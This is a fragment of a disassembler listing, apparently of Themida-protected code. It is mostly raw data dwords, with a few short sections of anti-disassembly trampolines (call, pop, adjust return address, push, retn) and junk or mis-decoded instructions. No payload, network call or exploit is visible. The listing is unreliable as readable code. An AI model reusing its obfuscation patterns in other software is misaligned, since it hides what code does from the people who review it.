		dd 0F8FEFFFFh, 89589h, 0BE90000h, 4000000h, 0A2F76793h
		dd 59E36D41h, 0E9D305h,	8D000000h, 174079B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4D246358h, 558560FCh, 6AED16h, 24358589h, 95FF0613h
		dd 6130DA9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	3EC35242h, 0D21B589h, 0C3B90613h, 5600000Fh, 5F8BD780h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 5C90C356h, 5370A497h, 9D8BFBBAh
		dd 6130D3Dh, 8D8B60FCh,	6131F6Dh, 0D036D181h, 0B8612F08h
		dd 0
		dd 12E851h, 0ED290000h,	3DBD6AECh, 917793D4h, 4055B70Fh
		dd 821B3A29h, 1B59D89h,	5F5B0613h, 8A0FD22Bh, 6, 1D319D89h
		dd 33AD0613h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0AF816DC3h
		dd 2DB7BF18h, 880D36FBh, 0BB000000h, 7DB4CAE6h,	1BBD958Bh
		dd 9D230613h, 6130DBDh,	12399529h, 8D8B0613h, 61318DDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CFC35242h
		dd 0C1E1A0E7h, 91D740C3h, 0C28B50EFh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0EBFFC350h,	3109BD89h
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 273911C3h, 684C1124h, 899D8BB6h, 83061305h
		dd 131D1DBDh, 840F0006h, 62h, 0E8FE8B66h, 12h, 618B024Bh
		dd 0A0F77568h, 760E8BD1h, 0A056996Bh, 0DF8BC6C6h, 0B85Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9589B7C3h, 613350Dh, 4F8D8D8Dh, 9D330613h
		dd 61321FDh, 9E8E1FFh, 0FD000000h, 1FB789D0h, 97299787h
		dd 0BD835FF5h, 6133055h, 0D3840F00h, 0E8000003h, 0Dh, 0AB94660Bh
		dd 78596C3Ch, 908F9DA3h, 0F9B70F20h, 55BD835Bh,	1061330h
		dd 3CB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9F54E3C3h, 83F599ABh, 133055BDh
		dd 860F0306h, 367h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 1EC35646h, 0F4D1F33Bh, 3360DD5Bh, 133489BDh
		dd 0D98C6606h, 0F099D8Bh, 0E1800613h, 259D8904h, 0A06130Dh
		dd 9840FC9h, 0B7000001h, 0DB79BB45h, 858B3739h,	6132BB9h
		dd 60D78166h, 0B9853388h, 6A061305h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4624C351h
		dd 541493A3h, 17CBBB9Eh, 66501CA1h, 489FB8Bh, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 373901F1h, 6AD98BFEh, 7DBF6600h, 4E873h, 3FF0000h, 8B66001Fh
		dd 0C3BF50DEh, 8B764109h, 8B042444h, 0A0D0BF00h, 448932C6h
		dd 52500424h, 10E951h, 2E090000h, 575F5FD7h, 0B5C27EC8h
		dd 285D7AC2h, 0F5B4006h, 58585A31h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 55C35646h, 351CF66Bh, 6660C4AAh
		dd 0B8476BAh, 13323DB5h, 95FF6106h, 6130A3Dh, 0C4548589h
		dd 0BD8B0616h, 613352Dh, 1B9E9h, 0BE800h, 0C8CF0000h, 8E2FBEC6h
		dd 113DE840h, 0ED9D8BCBh, 5B061305h, 0C44C858Bh, 0B70F0616h
		dd 1800C7DEh, 8B000000h, 130B61BDh, 50B58B06h, 6A0616C4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0CED9C356h, 4E366322h, 90DB892h, 13220D8Dh
		dd 55858B06h, 8B06132Ah, 130C699Dh, 8B068906h, 0B9858BD8h
		dd 8906132Bh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B75839C3h, 402F90A4h, 60525096h
		dd 310F5250h, 0CE9585Ah, 41000000h, 815138C8h, 839B0BABh
		dd 61FA0D45h, 4AB7310Fh, 9650585Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 8DC35242h, 71BA815Eh, 8166A2E7h
		dd 0FF72F6C3h, 16C44CB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 3B687724h
		dd 14158D89h, 1E680613h, 50DE79DCh, 0FDA8B52h, 8B0F31h
		dd 5A000000h, 24048158h, 21A527E1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 96C35343h, 89BD3345h, 66061316h
		dd 8DEFFBBFh, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0CEA1FEBBh, 5D8F80FAh
		dd 3DE7BF6Bh, 820F4277h, 0Ch, 7E9h, 1242AB00h, 4EDE12B5h
		dd 148B0F90h, 0E9000000h, 0Fh, 0C53246D5h, 2708D48h, 48F4D072h
		dd 50FBDCA2h, 95FFF590h, 6130A3Dh, 1071BD8Bh, 6A610613h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0DC96C351h, 5585C7AFh, 3061330h, 0E9000000h
		dd 12h,	0D3FF49E3h, 3C68768h, 0F2171111h, 0B58C5342h, 0BD83406Ch
		dd 616C454h, 2C840F00h,	89000000h, 13320595h, 3CE906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8015EEC3h, 50F5C2DFh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 6130151h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 5012FF82h
		dd 0D1C7BFE5h, 0BD83060Eh, 6133055h, 0B8850F03h, 8B000003h
		dd 54BD83F8h, 616C4h, 3A9840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1D2B0C3h
		dd 0CEE3EC94h, 0B5894CC4h, 6130D65h, 0C454B5FFh, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FB7166C3h, 0B1F5D3BAh, 95FFC431h, 6130969h,	0E852006Ah
		dd 3, 5AC35A20h
		db 89h,	54h, 24h
; ---------------------------------------------------------------------------


loc_5C8F5F:				; CODE XREF: Themida_:005C7A72j
		add	al, 81h
		inc	esp
		and	al, 4
		pop	ss
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0C2h
		dd 0FFE1F18h, 685h, 0FEDF8100h,	8B7F0C76h, 16C448B5h, 0AAF38006h
		dd 106C7h, 8D090001h, 61306D9h,	73CF8166h, 12E99601h, 46000000h
		dd 59EA838Ah, 93154BDEh, 0D982CBA6h, 0AB90A0F0h, 0CE85048h
		dd 7F000000h, 75043090h, 1FE1D66Bh, 50595F01h, 0F616052h
		dd 5ADA8B31h, 0F965B58h, 0BD89FFBFh, 6131FD1h, 0C454B5FFh
		dd 8F0F0616h, 6, 890Fh,	0E1B70000h, 322995FFh, 0E0BF0613h
		dd 8B341410h, 16C448B5h, 31858B06h, 66061306h, 8689F98Bh
		dd 0C4h, 958BF88Bh, 6131BBDh, 0F93870BFh, 4C28364h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B0C35343h, 6D9D034Dh
		dd 0F061322h, 5089DBBFh, 858DFC20h, 616D8E3h, 0B88689h
		dd 8E0F0000h, 1Eh, 12E8h, 0FF49E300h, 0C68768D3h, 17111103h
		dd 8C5342F2h, 9406CB5h,	131CF595h, 6A5B06h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0F7B1A3ECh
		dd 0AE96BBCh, 18000000h, 0E7820138h, 0DB99C63Dh, 54B5FFF1h
		dd 6A0616C4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0BC4CC357h, 0F9B2446Eh, 95FF0A14h
		dd 6131E95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0DC35040h, 52821A32h, 4D85015Dh, 50061306h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 42C352h, 9FBDCB81h, 0B5FF2543h, 616C454h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BFC35040h
		dd 0B5A9B294h, 0A3BB7967h, 0FF7C5735h, 13214595h, 0D5B58906h
		dd 8306131Ch, 131495BDh, 840F0006h, 13h, 37EDC7BBh, 8B66967Bh
		dd 519650F9h, 1785BD8Bh, 0FF5F0613h, 16C454B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 51D9B302h, 21F5BD8Bh, 0FF5B0613h, 1305AD95h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E8D94156h, 11h, 0FDF5A719h,	4F628587h, 0C06C3596h
		dd 0A223BDE8h, 0FF5FF935h, 16C454B5h, 0F2D78106h, 0FF48C42Eh
		dd 13120995h, 0BD83F906h, 6130511h, 58840F02h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 235BC355h, 858BFCE0h, 6130F55h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h, 84BCC2AFh
		dd 8D8B6073h, 6132A05h,	0C661F5h, 59D8B00h, 0C706132Ah
		dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 2F3949C5h, 0D585E093h
		dd 0D781B027h, 13F44D92h, 0AE9h, 4AF1C500h, 688C385Dh
		dd 0E9D8E3F6h, 0FFFFF4B5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 30C35242h, 6AC18Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 662B4CC3h
		dd 0BCB8B60h, 1314819Dh, 858D6106h, 6131EA9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h, 8B662EF5h
		dd 0BF6690F9h, 90509A1Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 8BC35545h, 0B810Fh, 880F0000h, 5, 0A58EABBh
		dd 6A006A39h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 89F8FAD6h, 131CD98Dh, 1E858D06h
		dd 6A0617D2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 4E89C356h, 0DE8h, 755C4E00h, 9FF36953h
		dd 1FE78470h, 8D89CAF7h, 6132955h, 5C0835Bh, 0E850BFB7h
		dd 12h,	0E6BB443Dh, 90628C4Ah, 630227Dh, 65021598h, 8B66D1E3h
		dd 4895FF9h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8BA9896Ah, 131959BDh, 6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0E2DCC350h, 3446AF8Fh, 6AB16Ch, 6AF88Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h
		dd 159D8943h, 0FF06132Ch, 1307F195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0F955CEEh
		dd 6661D6EBh, 8D8DF98Bh, 616A36Ah, 0D1FF5F52h, 0F21BD8Bh
		dd 0BD830613h, 613173Dh, 61850F01h, 0F000000h, 26AD8B7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h
		dd 0C2CB6678h, 9D89EEC0h, 61305BDh, 50FE8B90h, 8A90DA8Bh
		dd 9595FFD9h, 6A06131Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F9ECC350h,	7C6157FEh
		dd 0DE8B6645h, 0DFEE9h,	0E800h,	815D0000h, 17D228EDh, 9E906h
		dd 2FD30000h, 0CCD6CC0Dh, 6AA553F1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0EC9CC350h
		dd 57DD1B8Bh, 1D1BD2Bh,	8B5F0613h, 1316219Dh, 5E858D06h
		dd 8B06168Fh, 131361BDh, 0CE85006h, 0C3000000h,	0B0850DDEh
		dd 0A5CC6A15h, 60396BD6h, 0CE9h, 8FCB4900h, 22F12DFEh
		dd 1A7ED09Ch, 0BBBA6606h, 895F6117h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 34338DC3h
		dd 0FA8B60FBh, 1E0D8D8Bh, 66610613h, 64BF91BBh,	35FFh
		dd 880F0000h, 3, 64DFB70Fh, 2589h, 0BD890000h, 6130E35h
		dd 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 9A19C9C3h, 0F4E3B2D6h, 9D8BAA9Dh
		dd 6130D65h, 27840Fh, 0EE80000h, 91000000h, 0F2FBE9F9h
		dd 0B30BA3BEh, 0EF6CCAC8h, 0EE9F2h, 0D670000h, 2B9E3E14h
		dd 0E7650E18h, 0C1620F16h, 6AFF6A5Fh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5C92C353h
		dd 0F2B8E199h, 0C18589EDh, 0FF06132Eh, 130ED5B5h, 69BD8906h
		dd 0FF061324h, 1331AD95h, 136E906h, 0E9600000h,	10h, 328B05C1h
		dd 37F00658h, 8007207Fh, 784BC352h, 10E9h, 28970000h, 3453160h
		dd 0A20F569Eh, 0F1193EE9h, 0B06176h, 8970E6FCh,	1323E9BDh
		dd 971E406h, 1308CD95h,	0F613C06h, 0EF83h, 0E18D0100h
		dd 0F06130Bh, 850FC8B6h, 5, 0FBF7D7BFh,	6BA1Eh,	0B5890000h
		dd 6130F21h, 0E8C1C18Bh, 59B58904h, 6606130Dh, 0BB66E2F7h
		dd 0C82B36ECh, 3ED78166h, 60D18B1Ch, 0ADF68160h, 6124FFCAh
		dd 0A6E961h, 0BE90000h,	67000000h, 2F85F280h, 504066AFh
		dd 858B0723h, 1, 0B5BD8B56h, 5B061305h,	8B07C083h, 132EB1BDh
		dd 0C08306h, 810Fh, 0D03B0000h,	1C830Fh, 0CE90000h, 89000000h
		dd 1F4286ECh, 0F0A010B8h, 0E9257CC1h, 58h, 20559D8Bh, 8D8B0613h
		dd 0FFFFFFFFh, 2FC58D29h, 0BD090613h, 61330B1h,	0F01E183h
		dd 3784h, 0DBD8B00h, 0F061332h,	28Dh, 83DAB300h, 0FFFFFFA5h
		dd 0BD8BFEFFh
		dd 6132BD1h, 19589h, 0CE90000h,	44000000h, 8BAD1615h, 0ED5E811Ah
		dd 0E9261D9Bh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+617503Ch]
		push	0
		push	ecx
		call	sub_5C979D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C979D	proc near		; CODE XREF: Themida_:005C9795p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C979D	endp

; ---------------------------------------------------------------------------
		db	3Eh
		dec	eax
		fcomp	qword ptr [ecx-77387E9Fh]
		scasb
		mov	cl, 3
		mov	edi, [ebp+61331B5h]
		push	0
		push	0
		push	edi
		call	sub_5C97CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C97CB	proc near		; CODE XREF: Themida_:005C97C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5C97CB	endp

; ---------------------------------------------------------------------------
		movsb
		test	esp, ecx
		mov	bx, 6D0Bh
		call	dword ptr [ebp+6130DA9h]
		mov	ebx, 0A42228Ch
		mov	bh, 10h
		mov	ecx, 0F70h
		mov	[ebp+6131ECDh],	edx
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_5C9808
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9808	proc near		; CODE XREF: Themida_:005C9800p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C9808	endp

; ---------------------------------------------------------------------------
		mov	bl, 0B8h
		les	eax, [esi]
		movsb
		xor	[ecx+62h], eax
		xor	esp, [ebx]
		cld
		xor	ebx, 14B29295h
		sub	eax, eax
		push	0
		push	eax
		call	sub_5C9836
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9836	proc near		; CODE XREF: Themida_:005C982Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C9836	endp

; ---------------------------------------------------------------------------
		dw 556Ch
		dd 81234A37h, 0F91BC85h, 688h, 59958900h, 0BB061324h, 12F0D860h
		dd 13E9D22Bh, 3E000000h, 0B6FD8AC0h, 3CBF3487h,	667D6CA0h
		dd 4713B226h, 33AD58E2h, 3E8D1C2h, 4E983D0h, 0E781F475h
		dd 2805280Ah, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	4C35545h, 864532C6h, 89B535C9h,	132C5185h, 880D06h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0CF7F2CC3h, 0E65F68FBh, 810FCFE6h, 6, 0C5D9D33h
		dd 958B0613h, 6131BBDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0EFC35545h, 8BFFBF0Fh, 1318DD8Dh, 0FFBF0F06h
		dd 5BDA8B53h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0DFBF5818h, 0E8790521h, 9, 0FB7F927h, 7DEEA9FDh, 0FDBD8BE0h
		dd 5F061314h, 1D1DBD83h, 0F000613h, 6484h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 293AE779h, 664755BCh, 58DFCB81h, 18F5B501h, 0B80613h
		dd 66000000h, 8D8DFB8Bh, 6134F8Dh, 2826BB66h, 6AE1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 233516C3h, 1319D59Dh, 55BD8306h, 61330h, 49D840Fh, 81660000h
		dd 836119E3h, 133055BDh, 840F0106h, 4A6h, 83F8BF0Fh, 133055BDh
		dd 860F0306h, 460h, 295DBD29h, 6A600613h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4AAEC357h
		dd 0EA3A5E44h, 0BD8BB42Ah, 6130611h, 6AD98C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 893AC351h, 1320B1BDh, 4E18006h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 16C35646h, 9D75EE11h, 8B70E121h
		dd 131F859Dh, 0FC90A06h, 18884h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0A18D8970h
		dd 8B061320h, 132BB985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 950D6E77h, 330816F6h
		dd 1305B985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0F1A4C69Eh, 0FC0BB3BFh, 8E84Eh, 0C9D40000h
		dd 0FE0D81DBh, 890F0903h, 2, 505B5B57h,	6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 883DC352h, 0C9267F0Dh, 6535F915h, 0E9DE8B66h, 14h, 0BE804340h
		dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 894317C3h, 58684E70h, 60540D63h, 0EE8h, 19686500h, 0A3EE8EBh
		dd 266915Ch, 5BB3A9D8h,	0CE8h, 26596200h, 72D2F3h, 8819F784h
		dd 0CB8B6649h, 3481615Bh, 1260A724h, 10E954h, 2C930000h
		dd 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h, 95FF4EB8h,	6130A3Dh
		dd 1FF9B589h, 0DA8B0613h, 0C4548589h, 6A0616h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0E9F9B6C3h, 1C4h, 9E8h, 1B6C9600h, 0E7D104CCh, 0BD0BF642h
		dd 6130BADh, 4C858B5Fh,	0F0616C4h, 384h, 0DF8B6600h, 8D0Fh
		dd 0C70000h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D1C35747h, 8BA998AAh, 16C450B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 589F8B50h, 55858B6Dh, 0BF06132Ah, 6BFB3ED6h,	10E90689h
		dd 2F000000h, 19834F15h, 4CB2490Ch, 8C6F9DC3h, 0FFC3691h
		dd 680h, 0DDBD8B00h, 8B061314h,	132BB985h, 80F88B06h, 46895AE3h
		dd 0DA8B6604h, 2890F50h, 0B7000000h, 243489D7h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 92C35141h, 0AEE09630h
		dd 8166EEFFh, 818A98DFh, 0BB8FC2EFh, 4CB5FF6Ch,	90616C4h
		dd 13140195h, 4E806h, 3FF0000h,	0BF66001Fh, 8B507ADEh
		dd 24448BFBh, 850F04h, 8B000000h, 0D98B6600h, 4244489h
		dd 8058FA8Bh, 858D38DFh, 616C454h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0AFC35141h,	6E8h, 7E25EE00h
		dd 578CC815h, 14E8h, 0CC890700h, 4FD79E92h, 0A56DDB35h
		dd 504DB0EDh, 0F483FCB6h, 5F5F5BFDh, 24048950h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 0FF46E21Dh
		dd 130A3D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0F90F93CCh, 0FC3BC8Fh, 18Bh, 9D8BFC00h
		dd 6130B05h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 495DF507h, 0ED17BB66h, 85C76BB3h
		dd 6133055h, 3,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0A0C35040h, 1F9D9D8Bh, 0BD830613h, 616C454h, 41840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E9A4C350h, 3Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0C5C35545h, 0F6D0BF66h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D7CEC352h, 14E87Fh, 5E600000h, 9BCC203Eh
		dd 8595C52h, 1ED1BD76h,	0A6A51C86h, 0DE92625h, 12000000h
		dd 0E3FEEDD3h, 39752260h, 0B7EA383h, 0BD83FC5Bh, 6133055h
		dd 0D5850F03h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 17F8C355h, 49513003h
		dd 78900CDh, 343C58BFh,	54BD835Ah, 616C4h, 39E840Fh, 0C3800000h
		dd 81958982h, 0FF061310h, 16C454B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3838A95Fh
		dd 40540A1h, 8BFCF9A8h,	1313359Dh, 6995FF06h, 66061309h
		dd 8B067CBBh, 16C448B5h, 0C256BF06h, 6C76143h, 10001h
		dd 5050F88Bh, 8B665252h, 310F5BDAh, 12E8h, 225E3C00h, 6AC66C53h
		dd 1E6446DFh, 352F2BA3h, 669DE03Bh, 5A5BDE8Bh, 24348958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h
		dd 2BA876CDh, 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 95FFBAC3h, 6133229h
		dd 20859D03h, 0B58B0613h, 616C448h, 14E8h, 0D5EFE500h
		dd 5D474479h, 6F792E93h, 19C2BAA8h, 0E6FCEB6Dh,	959D89B5h
		dd 5B061329h, 5E9h, 5CED9900h, 858B5BC2h, 6130631h, 29E58D09h
		dd 86890613h, 0C4h, 2965B589h, 958B0613h, 6131BBDh
		dd 6FF38166h, 4C28376h,	89F88B66h, 6A2050h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5F70E0C3h
		dd 14F59529h, 0BE80613h, 91000000h, 437AD038h, 392AA182h
		dd 8B668C8Ah, 858D5BFBh, 616D8E3h, 2129BD89h, 85310613h
		dd 6131F41h, 0B88689h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 52F287C3h, 0BEE167EDh
		dd 2FDDBD8Bh, 0D88B0613h, 0C062BB66h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D5E69CC3h, 95D43F3Ah, 0B91BD8Bh, 0FFF90613h, 16C454B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 6D8F10EDh, 7E8DB11h, 0AC000000h,	8A8435BEh
		dd 0BD8B16E9h, 61304C9h, 9E85Fh, 38AC0000h, 9882D825h
		dd 8B1F5811h, 132B1D9Dh, 95FF5B06h, 6131E95h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h, 18E28784h
		dd 0DBB70F3Fh, 34959D2Bh, 66500613h, 89EBA5BFh,	6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1C33D5C3h, 159938C0h, 54B5FF09h, 8B0616C4h, 132175BDh
		dd 4595FF06h, 0F061321h, 0BD83FABFh, 6131495h, 58840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0FFBEC356h, 56D24F7Eh,	7E850EBh
		dd 18000000h, 5D5FE58Fh, 5F56C6FBh, 2434895Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8BC35545h, 7B1AC5F4h
		dd 0FF0408C7h, 16C454B5h, 95FFF906h, 61305ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2EC35141h, 0B5FFD88Bh
		dd 616C454h, 95FFDE8Bh,	6131209h, 511BD83h, 0F020613h
		dd 3284h, 0DEBF0F00h, 0F55858Bh, 0B7530613h, 0C65B04h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 2CBA0A64h, 0C734DDD7h, 131E5185h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 64B51432h, 0FB6F0287h, 0FFF348E9h, 0C98D09FFh, 8B06132Fh
		dd 8D8B60C1h, 61306BDh,	2800Fh,	61600000h, 29BD0961h, 8D06130Eh
		dd 131EA985h, 0CE806h, 0B3CF0000h, 0A63F3CCCh, 407E56FFh
		dd 905FA2F8h, 0BB665250h, 310FCF39h, 90BB6652h,	585A5B2Ah
		dd 0FE85250h, 0F7000000h, 39F5CB3Fh, 1F36F203h,	2A94970Ch
